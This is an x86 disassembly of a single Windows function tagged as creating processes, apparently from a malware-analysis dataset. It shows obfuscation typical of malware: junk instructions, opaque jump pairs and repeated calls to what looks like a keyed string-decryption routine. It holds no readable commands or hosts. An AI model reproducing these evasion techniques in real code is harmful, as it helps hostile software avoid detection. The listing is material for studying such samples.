Function at 0x402680
Capabilities:
Create process on windows

Disassembly:
add byte [eax], al
push ebx
push esi
push edi
jbe 0x4026a5
push si
mov si, 0x5c11
pop si
ja 0x4026a5
jo 0x402653
push cs
invalid
push 0xa
push 0x40602c
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
push 0x12
push 0x406038
push 8
push 0x406010
call fcn.00403aa0
jl 0x4026ee
push ebx
mov bh, 0x4c
pop ebx
jge 0x4026ee
xchg edx, eax
cmp eax, 0x4c68046a
pushal
inc eax
add byte [edx + 8], ch
push 4
push 0x40604c
push 8
push 0x406010
call fcn.00403aa0
je 0x40271f
push edi
mov di, 0x9ce2
pop edi
jne 0x40271f
insd dword es:[edi], dx
dec esp
jl 0x402789
xor eax, 0xdee0ed6d
aad 0xcf
xor byte [edx + 0xc], ch
push 0xc
push 0x406050
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x30
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
push 7
push 0x40605c
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
push 0xb
push 0x406064
push 8
push 0x406010
call fcn.00403aa0
jo 0x4027a6
push esi
mov esi, 0x387ef7e0
pop esi
jno 0x4027a6
invalid
push 0xc
push 0x406070
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x20
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
push 8
push 0x40607c
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push eax
push edx
push edi
add dl, dh
pop edi
pop edx
pop eax
push 0xd
push 0x406084
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push eax
push edi
push esi
inc si
cmp edi, eax
pop esi
pop edi
pop eax
push 0x18
push 0x406094
push 8
push 0x406010
call fcn.00403aa0
jo 0x402832
push esi
mov esi, 0x387ef7e0
pop esi
jno 0x402832
invalid
push 0x25
push 0x4060ac
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x20
push ecx
push edi
push ax
test di, 0x934
test edi, 0x48bd
and edi, eax
and ch, 0xb
cmp cl, 0x6f
mov cl, 0xc
sub di, 0x5090
test cx, di
pop ax
pop edi
pop ecx
push 0xa
push 0x4060d4
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push ebx
push cx
push dx
xor ch, bl
pop dx
pop cx
pop ebx
push 0xc
push 0x4060e0
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push eax
push edi
test edi, 0x6e34
dec ax
dec ah
or eax, ecx
xor al, dh
or eax, 0x24ad
cmp ax, cx
test eax, eax
dec ah
and di, di
pop edi
pop eax
push 0xd
push 0x4060ec
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
push 6
push 0x4060fc
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
pushal
test si, di
and ch, dl
and ax, cx
test dl, ah
cmp dh, 0x36
popal
push 5
push 0x406104
push 8
push 0x406010
call fcn.00403aa0
js 0x40293c
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x40293c
adc eax, 0x680d6a2f
or al, 0x61
inc eax
add byte [edx + 8], ch
push 0xd
push 0x40610c
push 8
push 0x406010
call fcn.00403aa0
je 0x402967
mov si, si
xchg bx, bx
jne 0x402967
mov al, byte [0x4bb148d3]
outsb dx, byte [esi]
push 0x19
push 0x40611c
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x30
pushal
sub ebx, 0xe88
test ecx, esi
dec ch
test bh, 0x2a
or ah, 0x12
sub bh, dh
or ax, ax
or al, 0x2f
cmp ch, 5
popal
push 0xf
push 0x406138
push 8
push 0x406010
call fcn.00403aa0
jp 0x4029c8
mov ebx, ebx
mov esi, esi
xchg bx, bx
jnp 0x4029c8
psrlw mm1, qword [edx + 0x13]
enter 0x626d, 0x3f
daa
in eax, 0x78
retf
push 0xe
push 0x406148
push 8
push 0x406010
call fcn.00403aa0
js 0x4029eb
mov edx, edx
jns 0x4029eb
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp dword [edx + 0xd], ebp
push 0xd
push 0x406158
push 8
push 0x406010
call fcn.00403aa0
jp 0x402a15
push si
pop si
jnp 0x402a15
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x402a07
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx + 0x6a], eax
or al, 0x68
push 0x6a004061
or byte [eax + 0x10], ch
pushal
inc eax
add al, ch
js 0x402a36
push 0xc
push 0x406168
push 8
push 0x406010
call fcn.00403aa0
add byte [eax], al
add esp, 0x40
push edx
push ax
sub edx, eax
cmp dx, cx
add edx, 0x1ab
xor ax, 0x2160
test bh, dl
test di, dx
pop ax
add dword [eax], eax
add byte [esi + 0x35], ah
pushal
and dword [edi + edx*8 + 0x66d78566], eax
pop eax
pop edx
push 0xf
push 0x406174
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
push 0xb
push 0x406184
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
push 0xb
push 0x406190
push 8
push 0x406010
call fcn.00403aa0
jb 0x402af1
push esi
mov esi, 0xb484b386
pop esi
jae 0x402af1
out 0xbd, eax
retf
push 0xb
push 0x40619c
push 8
push 0x406010
call fcn.00403aa0
je 0x402b15
push cx
mov cl, 0x54
pop cx
jne 0x402b15
push ss
pop edi
push 0x47
test eax, 0xa6a18c5
push 0xa
push 0x4061a8
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x30
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
push 0xc
push 0x4061b4
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push ebx
and bx, cx
pop ebx
push 0xe
push 0x4061c0
push 8
push 0x406010
call fcn.00403aa0
je 0x402b93
push cx
mov cl, 0x54
pop cx
jne 0x402b93
push ss
pop edi
push 0x47
test eax, 0x116a18c5
push 0x11
push 0x4061d0
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x20
push ecx
push esi
and ecx, 0x4ed
dec esi
xor ecx, 0x19e7
add si, 0x438f
xor cx, 0x2688
add ch, dh
test ch, 0x5b
pop esi
pop ecx
push 0x13
push 0x4061e4
push 8
push 0x406010
call fcn.00403aa0
jle 0x402bee
jg 0x402bee
inc ebx
xor byte [eax + 0x6a39da56], cl
adc al, 0x68
clc
popal
inc eax
add byte [edx + 8], ch
push 0x14
push 0x4061f8
push 8
push 0x406010
call fcn.00403aa0
jbe 0x402c0b
push esi
pop esi
ja 0x402c0b
pop ebx
hlt
push 0x33
push 0x40620c
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x30
push ecx
push edx
sub ecx, eax
test esi, ecx
xor cl, ch
cmp dh, 0x74
or ch, 0x3d
cmp dl, bl
test ecx, 0x5962
or cx, bx
or edx, eax
cmp ch, cl
pop edx
pop ecx
push 0xa
push 0x406240
push 8
push 0x406010
call fcn.00403aa0
jb 0x402c6c
mov di, di
nop
nop
nop
jae 0x402c6c
loope 0x402c42
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0x6ab8ec44
add al, 0x68
dec esp
bound eax, qword [eax]
push 4
push 0x40624c
push 8
push 0x406010
call fcn.00403aa0
jle 0x402c91
jg 0x402c91
inc ebx
xor byte [eax + 0x6a39da56], cl
add eax, 0x40625068
add byte [edx + 8], ch
push 5
push 0x406250
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x30
pushal
test cx, ax
inc ax
popal
push 6
push 0x406258
push 8
push 0x406010
call fcn.00403aa0
jb 0x402ce6
push di
mov di, 0x4fff
pop di
jae 0x402ce6
fdiv dword [esi + 0x6f]
cmp esp, dword [eax]
inc eax
push 0xb7f8c08b
ja 0x402c93
inc ecx
invalid
push 0xc
push 0x406260
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x20
push ecx
dec ecx
and cx, di
or cx, 0x61be
pop ecx
push 0xc
push 0x40626c
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
push 0x2a
push 0x4062a4
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x10
push edx
push edi
sub dx, dx
cmp edx, ecx
cmp dx, ax
test edx, 0x4d5b
sub di, 0x50f1
mov di, 0x11cb
and di, ax
pop edi
pop edx
push 0xb
push 0x4062d0
push 8
push 0x406010
call fcn.00403aa0
push 0x41
push 0x40632c
push 8
push 0x406010
call fcn.00403aa0
push 0x33
push 0x406370
push 8
push 0x406010
call fcn.00403aa0
push 0x4b
push 0x4063a4
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x40
push 0x39
push 0x4063f0
push 8
push 0x406010
call fcn.00403aa0
push 8
push 0x40642c
push 8
push 0x406010
call fcn.00403aa0
push 0x14
push 0x406434
push 8
push 0x406010
call fcn.00403aa0
add esp, 0x30
pop edi
pop esi
pop ebx
ret